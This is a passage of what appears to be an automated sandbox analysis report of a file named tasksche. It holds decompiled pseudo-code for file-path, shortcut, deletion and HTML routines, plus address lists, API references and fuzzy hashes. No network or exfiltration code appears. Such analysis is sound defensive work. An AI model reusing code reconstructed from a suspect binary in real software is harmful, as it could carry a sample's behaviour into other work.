									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,76D7BB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97
\, xrefs: 0040ECCB
<br>, xrefs: 0040EB21
ProgramFilesDir, xrefs: 0040EC7D
", xrefs: 0040EBE1
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-172705392
Opcode ID: a756d68e8e4e1e339d1c37667091b313796e024eb66833656bec9be57e2f7238
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: a756d68e8e4e1e339d1c37667091b313796e024eb66833656bec9be57e2f7238
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D
UNC, xrefs: 0040A487

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 5af14076ee350505971136c5d51719c166e6af1eb3b07bc87c839e6a663beb41
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 5af14076ee350505971136c5d51719c166e6af1eb3b07bc87c839e6a663beb41
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
